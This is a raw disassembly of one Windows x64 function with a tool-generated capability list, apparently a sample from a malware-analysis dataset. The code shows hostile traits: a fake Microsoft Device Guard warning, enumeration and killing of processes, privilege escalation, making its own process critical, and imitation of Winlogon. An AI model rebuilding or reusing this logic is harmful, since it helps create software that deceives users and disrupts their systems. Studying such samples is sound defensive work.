Function at 0x140001e50
Capabilities:
Accept command line arguments
Check if file exists
Create a process with modified i/o handles and window
Create process on windows
Create thread
Enumerate processes
Get file attributes
Get session user name
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x7a0]
sub rsp, 0x8a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x790], rax
mov r12, rcx
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x214]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
test rax, rax
je 0x140002002
cmp dword [rbp + 0x214], 2
jge 0x140001ed8
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002002
test al, 0x10
jne 0x140002002
lea rdx, str..exe
lea rcx, [rbp + 0x2a0]
call fcn.140002790
lea rdx, str..EXE
lea rcx, [rbp + 0x2c0]
call fcn.140002790
mov rcx, qword [rsi + 8]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov rdi, qword [rbp + 0x2b8]
lea rcx, [rbp + 0x2a0]
mov rbx, qword [rbp + 0x2a0]
cmp rdi, 7
mov r9, rax
mov r8, rax
cmova rcx, rbx
sub r9, rcx
nop
movzx edx, word [rcx]
movzx eax, word [rcx + r9]
sub edx, eax
jne 0x140001f44
add rcx, 2
test eax, eax
jne 0x140001f30
test edx, edx
jne 0x140002110
mov r10, qword [rbp + 0x2d8]
lea rax, [rbp + 0x2c0]
mov r9, qword [rbp + 0x2c0]
cmp r10, 7
cmova rax, r9
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001f84
add rax, 2
test ecx, ecx
jne 0x140001f70
test edx, edx
jne 0x140002110
cmp r10, 7
jbe 0x140001fc7
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140001fbf
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002502
mov rcx, r9
call fcn.140002afc
cmp rdi, 7
jbe 0x140002002
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001ffa
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002502
mov rcx, rbx
call fcn.140002afc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rbp + 0x218]
mov dword [rbp + 0x218], 0x101
lea rcx, [rbp + 0x370]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x2e0]
call fcn.140002790
mov r15, qword [rbp + 0x2f8]
lea rdx, [rbp + 0x2e0]
mov r14, qword [rbp + 0x2e0]
lea r8, [0x140004778]
cmp r15, 7
cmova rdx, r14
xor edi, edi
mov ecx, edi
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x14000253c
cmp rcx, 7
jne 0x140002070
xor edx, edx
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp - 0x30]
mov dword [rbp - 0x30], 0x238
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400022eb
mov qword [rsp + 0x8d8], r13
lea r13, [0x1400045d8]
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp - 4]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r13 + rax*2 + 2]
jne 0x1400022ce
add rax, 2
cmp rax, 0xd
je 0x14000228e
movzx ecx, word [rdx + rax*2]
cmp cx, word [r13 + rax*2]
je 0x1400020e0
jmp 0x1400022ce
cmp word [rbp + 0x244], 3
jne 0x140002142
mov r9d, 0x10
lea r8, str.Microsoft_Windows
lea rdx, str.You_cannot_run_this_application_because_of_Device_Guard_protection._To_add_an_exclusion_contact_your_enterprise_administrator_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x140004770]
lea rcx, [rbp + 0x220]
call fcn.140002790
mov eax, dword [rbp + 0x214]
cmp eax, 3
jl 0x1400021b8
mov edi, 2
cmp eax, edi
jle 0x1400021b8
lea rbx, [rsi + 0x10]
nop dword [rax]
mov rdx, qword [rbx]
lea rcx, [rbp + 0x250]
call fcn.140002790
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x220]
call fcn.140002700
lea rcx, [rbp + 0x220]
call fcn.140002690
lea rcx, [rbp + 0x250]
call fcn.1400017e0
inc edi
lea rbx, [rbx + 8]
cmp edi, dword [rbp + 0x214]
jl 0x140002170
lea rcx, [rbp + 0x220]
call fcn.140002680
mov rdx, qword [rsi + 8]
mov r8, rax
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xorps xmm0, xmm0
mov dword [rbp + 0x300], 0x68
xor eax, eax
lea rcx, [rbp + 0x220]
movups xmmword [rbp + 0x304], xmm0
mov dword [rbp + 0x364], eax
movups xmmword [rbp + 0x314], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rbp + 0x324], xmm0
movups xmmword [rbp + 0x334], xmm0
movups xmmword [rbp + 0x344], xmm0
movups xmmword [rbp + 0x354], xmm0
movups xmmword [rsp + 0x60], xmm0
call fcn.140002680
mov rcx, qword [rsi + 8]
mov rdx, rax
xor edi, edi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp + 0x300]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0xc000008
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r8d, dword [rbp - 0x28]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400022ce
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400020d0
mov r13, qword [rsp + 0x8d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, str.Windows.Winlogon.Window
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x80]
lea rax, [0x1400025b0]
mov qword [rbp - 0x70], rdi
xorps xmm0, xmm0
mov qword [rbp - 0x78], rax
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmmword [rbp - 0x50], xmm1
mov qword [rbp - 0x68], r12
call qword [sym.imp.USER32.dll_RegisterClassW]
mov rdx, qword [rbp - 0x40]
lea r8, str.WINLOGON
mov qword [rsp + 0x58], rdi
xor r9d, r9d
mov qword [rsp + 0x50], r12
xor ecx, ecx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea r9, [rbp + 0x210]
xor r8d, r8d
mov dl, 1
mov ecx, 0x14
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov r9d, 4
mov dword [rbp + 0x21c], 1
lea r8, [rbp + 0x21c]
mov edx, 0x1d
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtSetInformationProcess]
movzx eax, word [rbp + 0x244]
cmp eax, 6
ja case.default.0x1400023cb
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x2594]
add rcx, rdx
jmp rcx
mov qword [rsp + 0x28], rdi
lea r8, [0x1400011c0]
mov r9d, 0xf
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9d, 0xfa
mov qword [rsp + 0x28], rdi
lea r8, [0x140001660]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9d, 0xd2
mov qword [rsp + 0x28], rdi
lea r8, [0x140001330]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001690]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140001750]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140001d50
xorps xmm0, xmm0
lea rcx, [rbp + 0x270]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x1400024d3
nop dword [rax]
lea rcx, [rbp + 0x270]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x270]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp + 0x270]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jg 0x1400024a0
cmp r15, 7
jbe 0x140002511
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x140002509
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002509
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140002afc
mov rcx, qword [rbp + 0x790]
xor rcx, rsp
call fcn.140002aa0
lea r11, [rsp + 0x8a0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov r8d, 0x104
lea rdx, [rbp + 0x580]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x220]
call fcn.140002790
lea rdx, [0x140004770]
lea rcx, [rbp + 0x250]
call fcn.140002790
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x220]
call fcn.140001ac0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3